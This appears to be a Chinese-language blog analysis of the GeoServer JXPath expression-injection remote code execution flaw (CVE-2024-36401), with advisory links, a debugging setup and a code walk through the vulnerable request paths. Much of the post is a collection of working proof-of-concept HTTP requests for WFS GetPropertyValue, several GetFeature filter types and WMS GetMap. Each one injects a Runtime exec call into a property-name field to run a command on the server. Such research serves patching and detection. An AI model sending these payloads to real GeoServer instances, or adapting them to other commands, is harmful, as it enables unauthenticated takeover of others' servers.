少女祈祷中...

GeoServer表达式注入代码执行漏洞

概述

信息参考https://avd.aliyun.com/detail?id=AVD-2024-36401
披露时间: 2024.7.2
github源码https://github.com/geoserver/geoserver
分析版本:2.25.0
漏洞版本
2.25.0 <= GeoServer < 2.25.2
2.24.0 <= GeoServer < 2.24.4
GeoServer < 2.23.6

阐述:GeoServer由于GeoTool组件使用了含有漏洞的commons-jxpath组件导致表达式注入漏洞
相关信息:
漏洞通告:https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
GeoTool组件通告:https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w
Jxpath漏洞利用:https://github.com/Warxim/CVE-2022-41852?tab=readme-ov-file#workaround-for-cve-2022-41852

前置知识:
JXPath表达式注入
可参考:https://www.yuque.com/yyjccc/pk74ko/zzgiottebwxay9e7

环境搭建

下载war包:https://sourceforge.net/projects/geoserver/files
手动部署到Tomcat中,然后开启tomcat远程调试

./catalina.bat jpda start

下载源码开启远程调式

然后用poc跑一下,发现是用参数控制路由的,逆向看看:

geoserver虽然使用了spring,但还是在OWS模块定义了Dispatcher总的控制器

因此控制的流程还得看这个类
以下载的war包为例子,web.xml

<!-- spring dispatcher servlet, dispatches all incoming requests -->
<servlet>
<servlet-name>dispatcher</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
</servlet>

<!-- single mapping to spring, this only works properly if the advanced dispatch filter is
active -->
<servlet-mapping>
<servlet-name>dispatcher</servlet-name>
<url-pattern>/*</url-pattern>
</servlet-mapping>

在handleRequestInternal方法中可以看到是通过请求查找服务的

sevice方法中,如果请求方法是post方法,就会解析请求体的xml数据,然后你拿到对应的服务
接着在handleRequestInternal方法中分发对应的方法,再进行调用

## 漏洞分析 根据漏洞公告:未提供公开 PoC,但已确认可通过 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS 执行请求利用此漏洞。

由于GeoServer 调用的 GeoTools 库存在问题,GeoTools存在Jxpath漏洞的利用,然后Geoserver又能通过发送OGC请求去调用到存在漏洞的触发点

根据GeoTool的漏洞通告:
通过以下方法将 XPath 表达式传递到 commons-jxpath 库,该库可以执行任意代码,并且如果 XPath 表达式由用户输入提供,则会出现安全问题(geotool组件的问题)。

  • org.geotools.appschema.util.XmlXpathUtilites.getXPathValues(NamespaceSupport, String, Document)
  • org.geotools.appschema.util.XmlXpathUtilites.countXPathNodes(NamespaceSupport, String, Document)
  • org.geotools.appschema.util.XmlXpathUtilites.getSingleXPathValue(NamespaceSupport, String, Document)
  • org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get(Object, String, Class)
  • org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.set(Object, String, Object, Class)
  • org.geotools.data.complex.expression.MapPropertyAccessorFactory.new PropertyAccessor() {…}.get(Object, String, Class)
  • org.geotools.xsd.StreamingParser.StreamingParser(Configuration, InputStream, String)

Geoserver的漏洞通告中直接给出了可能存在的漏洞请求,以及请求方法如下

  • WFS GetFeature
  • WFS GetPropertyValue
  • WMS GetMap
  • WMS GetFeatureInfo
  • WMS GetLegendGraphic
  • WPS Execute

Web Feature Service (WFS)是开放地理空间联盟(OGC)创建的一个标准,用于在互联网上使用HTTP创建、修改和交换矢量格式的地理信息。WFS以地理标记语言(GML)编码和传输信息,GML是XML的一个子集。
https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html
以上是Geoserver对于wfs的介绍,其实就可以理解为一个协议,能够访问通过http访问地理信息的协议,然后该协议在不同版本有许多操作

GetPropertyValue

我们需要利用的就是存在于2.0.0版本的GetPropertyValue操作
从数据存储中为使用查询表达式标识的一组功能检索功能属性的值或复杂功能属性的部分值
从描述就可以发现他是通过表达式语言查询对应的Property属性,这里具体指的就是特定地理特征类型(如地图中的河流、建筑物等)的描述信息,包括其属性和其他特性的定义。

接着直接就在官网的文档找到了WFS GetPropertyValue的样例
https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html

然后构造请求修改一下valueReference参数的值就能成功RCE
实际情况命名空间需要自己获取
获取api:直接访问:/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage
即可

可能有些需要认证,哪个能用用哪个
下面是几个默认的(实际中不一定有):

  • sf:archsites

示例poc:

POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:7878
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'calc')</wfs:valueReference>
</wfs:GetPropertyValue>

等价的get请求

/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'calc')

然后定位到GetPropertyValue#run方法

跟进property方法

返回的是AttributeExpressionImpl对象

这里可以看到,传入的name,赋值给attpath属性,可知request.getValueReference(),即ValueReference标签对应着xpath表达式
那么,就是这样控制xpath表达式的,接着看怎么执行的
跟进AttributeExpressionImpl#evaluate方法
也是将上面赋值的attPath传入了

也是来到了漏洞api :FeaturePropertyAccessorFactory#get

这里iteratePointers方法就能触发了漏洞了,可以参考之前的文章

GetFeature

这个请求是用于从服务器检索地理空间要素的全部或部分属性及几何信息,而通过前面的漏洞的分析我们很容易知道漏洞触发点是在属性名查询这里,所以这里的GetFeature请求我们重点关注一下filter过滤逻辑部分,对于属性名的处理

// 定义一个名为validateFilter的方法,该方法接收四个参数:一个Filter对象,一个Query对象,一个FeatureTypeInfo对象和一个GetFeatureRequest对象。
void validateFilter(
Filter filter, Query query, final FeatureTypeInfo meta, final GetFeatureRequest request)
throws IOException {

// 1. 确保任何属性名都指向一个实际存在的属性
// 获取特征类型
final FeatureType featureType = meta.getFeatureType();
// 创建一个表达式访问器
ExpressionVisitor visitor =
new AbstractExpressionVisitor() {
// 重写visit方法
@Override
public Object visit(PropertyName name, Object data) {
// 如果属性名在特征类型中找不到,并且属性名不是GmlBoundedBy
if (name.evaluate(featureType) == null && !isGmlBoundedBy(name)) {
// 抛出一个WFSException异常,异常信息为"非法的属性名"
throw new WFSException(
request,
"Illegal property name: "
+ name.getPropertyName()
+ " for feature type "
+ meta.prefixedName(),
"InvalidParameterValue");
}

return name;
}
};
// 使用访问器访问过滤器
filter.accept(new AbstractFilterVisitor(visitor), null);

// 2. 确保任何空间谓词都是针对实际的空间属性
// 创建一个过滤器访问器
AbstractFilterVisitor fvisitor =
new AbstractFilterVisitor() {

// 重写visit方法
@Override
protected Object visit(BinarySpatialOperator filter, Object data) {
PropertyName name = null;
// 如果过滤器的第一个表达式是属性名
if (filter.getExpression1() instanceof PropertyName) {
name = (PropertyName) filter.getExpression1();
} else if (filter.getExpression2() instanceof PropertyName) {
// 如果过滤器的第二个表达式是属性名
name = (PropertyName) filter.getExpression2();
}

if (name != null) {
// 检查特征类型以确保其是一个几何类型
AttributeDescriptor att =
(AttributeDescriptor) name.evaluate(featureType);
if (!(att instanceof GeometryDescriptor) && !isGmlBoundedBy(name)) {
// 如果不是,抛出一个WFSException异常,异常信息为"属性不是特征类型的几何属性"
throw new WFSException(
request,
"Property "
+ name
+ " is not geometric in feature type "
+ meta.prefixedName(),
"InvalidParameterValue");
}
}

return filter;
}
};
// 使用访问器访问过滤器
filter.accept(fvisitor, null);

// 3. 确保查询中指定的任何边界都相对于查询上定义的srs是有效的
// 如果wfs是CiteCompliant
if (wfs.isCiteCompliant()) {

// 如果查询的srsName不为空
if (query.getSrsName() != null) {
final Query fquery = query;
// 创建一个CiteBBOXValidator对象
fvisitor = new CiteBBOXValidator(fquery, request);

// 使用访问器访问过滤器
filter.accept(fvisitor, null);
}
}

// 4. 确保在非空间比较中不使用空间属性 (CITE WFS 2.0)
// 如果wfs是CiteCompliant
if (wfs.isCiteCompliant()) {
// 创建一个过滤器访问器
fvisitor =
new AbstractFilterVisitor() {
// 重写visit方法
@Override
protected Object visit(BinaryComparisonOperator filter, Object data) {
Expression ex1 = filter.getExpression1();
Expression ex2 = filter.getExpression2();
// 如果第一个表达式是属性名
if (ex1 instanceof PropertyName) {
checkNonSpatial((PropertyName) ex1);
}
// 如果第二个表达式是属性名
if (ex2 instanceof PropertyName) {
checkNonSpatial((PropertyName) ex2);
}

return super.visit(filter, data);
}

// 定义一个检查非空间的方法
private void checkNonSpatial(PropertyName pn) {
AttributeDescriptor ad = (AttributeDescriptor) pn.evaluate(featureType);
// 如果属性描述符是一个几何描述符或者是GmlBoundedBy
if (ad instanceof GeometryDescriptor || isGmlBoundedBy(pn)) {
// 抛出一个WFSException异常,异常信息为"不能在字母数字二进制比较中使用空间属性"
throw new WFSException(
request,
"Cannot use a spatial property in a alphanumeric binary "
+ "comparison");
}
}
};

// 使用访问器访问过滤器
filter.accept(fvisitor, null);
}

/geoserver/wms?version=1.3.0&bbox=24,-130,50,-66&Format=image/png&request=GetMap&width=550&height=250&crs=EPSG:4326&SLD_BODY=%3CStyledLayerDescriptor+version%3D%221.1.0%22%3E%3CUserLayer%3E%3CName%3Etopp%3Astates%3C%2FName%3E%3CUserStyle%3E%3CName%3EUserSelection%3C%2FName%3E%3CFeatureTypeStyle%3E%3CRule%3E%3CFilter%3E%3CPropertyIsEqualTo%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3CLiteral%3EIllinois%3C%2FLiteral%3E%3C%2FPropertyIsEqualTo%3E%3C%2FFilter%3E%3CPolygonSymbolizer%3E%3CFill%3E%3CSvgParameter+name%3D%22fill%22%3E%23FF0000%3C%2FSvgParameter%3E%3C%2FFill%3E%3C%2FPolygonSymbolizer%3E%3C%2FRule%3E%3CRule%3E%3CLineSymbolizer%3E%3CStroke%2F%3E%3C%2FLineSymbolizer%3E%3C%2FRule%3E%3C%2FFeatureTypeStyle%3E%3C%2FUserStyle%3E%3C%2FUserLayer%3E%3C%2FStyledLayerDescriptor%3E
跟上面的一样是从evalute走入的 ## 其他Poc ### BBOX-1.0
post:
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:BBOX>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<gml:Box srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">
<gml:coordinates>-75.102613,40.212597 -72.361859,41.512517</gml:coordinates>
</gml:Box>
</ogc:BBOX>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>
### BBOX-1.1
post:
<wfs:GetFeature service="WFS" version="1.1.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:BBOX>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<gml:Envelope srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">
<gml:lowerCorner>-75.102613 40.212597</gml:lowerCorner>
<gml:upperCorner>-72.361859 41.512517</gml:upperCorner>
</gml:Envelope>
</ogc:BBOX>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>
### Between-1.0/1.1
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:PropertyIsBetween>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<ogc:LowerBoundary><ogc:Literal>100000</ogc:Literal></ogc:LowerBoundary>
<ogc:UpperBoundary><ogc:Literal>150000</ogc:Literal></ogc:UpperBoundary>
</ogc:PropertyIsBetween>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>

GET:
/geoserver/wfs?request=GetFeature&version=1.1.0&typeName=topp:states&propertyName=STATE_NAME,LAND_KM,the_geom&outputFormat=GML2&FILTER=%3CFilter+xmlns%3D%22http%3A%2F%2Fwww.opengis.net%2Fogc%22%3E%3CPropertyIsBetween%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3CLowerBoundary%3E%3CLiteral%3E100000%3C%2FLiteral%3E%3C%2FLowerBoundary%3E%3CUpperBoundary%3E%3CLiteral%3E150000%3C%2FLiteral%3E%3C%2FUpperBoundary%3E%3C%2FPropertyIsBetween%3E%3C%2FFilter%3E
### Intersects-1.0/1.1
POST:
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<Filter>
<Intersects>
<PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName>
</Intersects>
</Filter>
</wfs:Query>
</wfs:GetFeature>

GET:
/geoserver/wfs?request=GetFeature&version=1.0.0&typeName=topp:states&FILTER=%3CFilter+xmlns%3D%22http%3A%2F%2Fwww.opengis.net%2Fogc%22+xmlns%3Agml%3D%22http%3A%2F%2Fwww.opengis.net%2Fgml%22%3E%3CIntersects%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3Cgml%3APoint+srsName%3D%22EPSG%3A4326%22%3E%3Cgml%3Acoordinates%3E-74.817265%2C40.5296504%3C%2Fgml%3Acoordinates%3E%3C%2Fgml%3APoint%3E%3C%2FIntersects%3E%3C%2FFilter%3E
### NotDisjoint
POST:
<wfs:GetFeature service="WFS" version="2.0.0"
xmlns:wfs="http://www.opengis.net/wfs/2.0" xmlns:fes="http://www.opengis.net/fes/2.0"
xmlns:gml="http://www.opengis.net/gml/3.2" xmlns:sf="http://www.openplans.org/spearfish"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs/2.0 http://schemas.opengis.net/wfs/2.0/wfs.xsd
http://www.opengis.net/gml/3.2 http://schemas.opengis.net/gml/3.2.1/gml.xsd">
<wfs:Query typeNames="sf:bugsites">
<fes:Filter>
<fes:Not>
<fes:Disjoint>
<fes:ValueReference>exec(java.lang.Runtime.getRuntime(),"calc")</fes:ValueReference>
</fes:Disjoint>
</fes:Not>
</fes:Filter>
</wfs:Query>
</wfs:GetFeature>

GET:
/geoserver/wfs?service=WFS&version=2.0.0&request=GetFeature&typenames=sf:bugsites&filter=%3Cfes%3AFilter+xmlns%3Afes%3D%22http%3A%2F%2Fwww.opengis.net%2Ffes%2F2.0%22+xmlns%3Agml%3D%22http%3A%2F%2Fwww.opengis.net%2Fgml%2F3.2%22%3E%3Cfes%3ANot%3E%3Cfes%3ADisjoint%3E%3Cfes%3AValueReference%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2Ffes%3AValueReference%3E%3Cgml%3APolygon+gml%3Aid%3D%27polygon.1%27+srsName%3D%27http%3A%2F%2Fwww.opengis.net%2Fdef%2Fcrs%2FEPSG%2F0%2F26713%27%3E%3Cgml%3Aexterior%3E%3Cgml%3ALinearRing%3E%3Cgml%3AposList%3E590431+4915204+590430+4915205+590429+4915204+590430+4915203+590431+4915204%3C%2Fgml%3AposList%3E%3C%2Fgml%3ALinearRing%3E%3C%2Fgml%3Aexterior%3E%3C%2Fgml%3APolygon%3E%3C%2Ffes%3ADisjoint%3E%3C%2Ffes%3ANot%3E%3C%2Ffes%3AFilter%3E
### Math
POST:
<wfs:GetFeature service="WFS" version="1.0.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<ogc:Filter>
<ogc:PropertyIsGreaterThan>
<ogc:Div>
<ogc:PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</ogc:PropertyName>
<ogc:PropertyName>xxx</ogc:PropertyName>
</ogc:Div>
<ogc:Literal>0.25</ogc:Literal>
</ogc:PropertyIsGreaterThan>
</ogc:Filter>
</wfs:Query>
</wfs:GetFeature>

GET:
/geoserver/wfs?request=GetFeature&version=1.1.0&typeName=topp:states&formatName=GML2&FILTER=%3Cogc:Filter%20xmlns:ogc=%22http://www.opengis.net/ogc%22%3E%3Cogc:PropertyIsGreaterThan%3E%3Cogc:Div%3E%3Cogc:PropertyName%3EMANUAL%3C/ogc:PropertyName%3E%3Cogc:PropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C/ogc:PropertyName%3E%3C/ogc:Div%3E%3Cogc:Literal%3E0.25%3C/ogc:Literal%3E%3C/ogc:PropertyIsGreaterThan%3E%3C/ogc:Filter%3E
## WMS getMap
GET /geoserver/wms?version=1.3.0&bbox=24,-130,50,-66&Format=image/png&request=GetMap&width=550&height=250&crs=EPSG:4326&SLD_BODY=%3CStyledLayerDescriptor+version%3D%221.1.0%22%3E%3CUserLayer%3E%3CName%3Etopp%3Astates%3C%2FName%3E%3CUserStyle%3E%3CName%3EUserSelection%3C%2FName%3E%3CFeatureTypeStyle%3E%3CRule%3E%3CFilter%3E%3CPropertyIsEqualTo%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3CLiteral%3EIllinois%3C%2FLiteral%3E%3C%2FPropertyIsEqualTo%3E%3C%2FFilter%3E%3CPolygonSymbolizer%3E%3CFill%3E%3CSvgParameter+name%3D%22fill%22%3E%23FF0000%3C%2FSvgParameter%3E%3C%2FFill%3E%3C%2FPolygonSymbolizer%3E%3C%2FRule%3E%3CRule%3E%3CLineSymbolizer%3E%3CStroke%2F%3E%3C%2FLineSymbolizer%3E%3C%2FRule%3E%3C%2FFeatureTypeStyle%3E%3C%2FUserStyle%3E%3C%2FUserLayer%3E%3C%2FStyledLayerDescriptor%3E HTTP/1.1
Host: 127.0.0.1:8085
<?xml version="1.0" encoding="UTF-8"?>
<ogc:GetMap xmlns:ogc="http://www.opengis.net/ows"
xmlns:gml="http://www.opengis.net/gml"
version="1.2.0"
service="WMS">

<StyledLayerDescriptor version="1.0.0"
xsi:schemaLocation="http://www.opengis.net/sld StyledLayerDescriptor.xsd"
xmlns="http://www.opengis.net/sld"
xmlns:ogc="http://www.opengis.net/ogc"
xmlns:xlink="http://www.w3.org/1999/xlink"
xmlns:dave="http://blasby.com"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<UserLayer>
<Name>Inline</Name>

<InlineFeature>
<FeatureCollection>
<featureMember>
<BodyPart>
<Type>Mouth</Type>
<polygonProperty>
<gml:Polygon>
<gml:outerBoundaryIs>
<gml:LinearRing>
<gml:coordinates>
397,226 396,209 396,196 390,185 384,175 368,163 353,155 331,150 308,149 283,148 261,153 231,163
209,175 195,189 186,209 182,221 187,226 193,214 195,205 200,197 203,192 215,185 226,177 241,171
256,167 266,163 281,161 297,161 321,160 341,160 359,168 371,175 382,185 388,197 390,215 390,225
394,226 397,226
</gml:coordinates>
</gml:LinearRing>
</gml:outerBoundaryIs>
</gml:Polygon>
</polygonProperty>
</BodyPart>
</featureMember>
</FeatureCollection>
</InlineFeature>

<UserStyle>
<FeatureTypeStyle>
<Rule>
<Filter>
<Or>
<PropertyIsEqualTo>
<PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName>
<Literal>Eye</Literal>
</PropertyIsEqualTo>
</Or>
</Filter>
<PolygonSymbolizer>
<Fill>
<CssParameter name="fill">
<ogc:Literal>#DD06E0</ogc:Literal>
</CssParameter>
<CssParameter name="fill-opacity">
<ogc:Literal>1.0</ogc:Literal>
</CssParameter>
</Fill>
<Stroke>
<CssParameter name="stroke">
<ogc:Literal>#FF00FF</ogc:Literal>
</CssParameter>
</Stroke>
</PolygonSymbolizer>
</Rule>
</FeatureTypeStyle>
</UserStyle>
</UserLayer>

</StyledLayerDescriptor>

<BoundingBox>
<gml:coord>
<gml:X>0</gml:X>
<gml:Y>0</gml:Y>
</gml:coord>
<gml:coord>
<gml:X>500</gml:X>
<gml:Y>500</gml:Y>
</gml:coord>
</BoundingBox>

<Output>
<Format>image/jpeg</Format>
<Transparent>false</Transparent>
<Size>
<Width>501</Width>
<Height>501</Height>
</Size>
</Output>


</ogc:GetMap>

Reference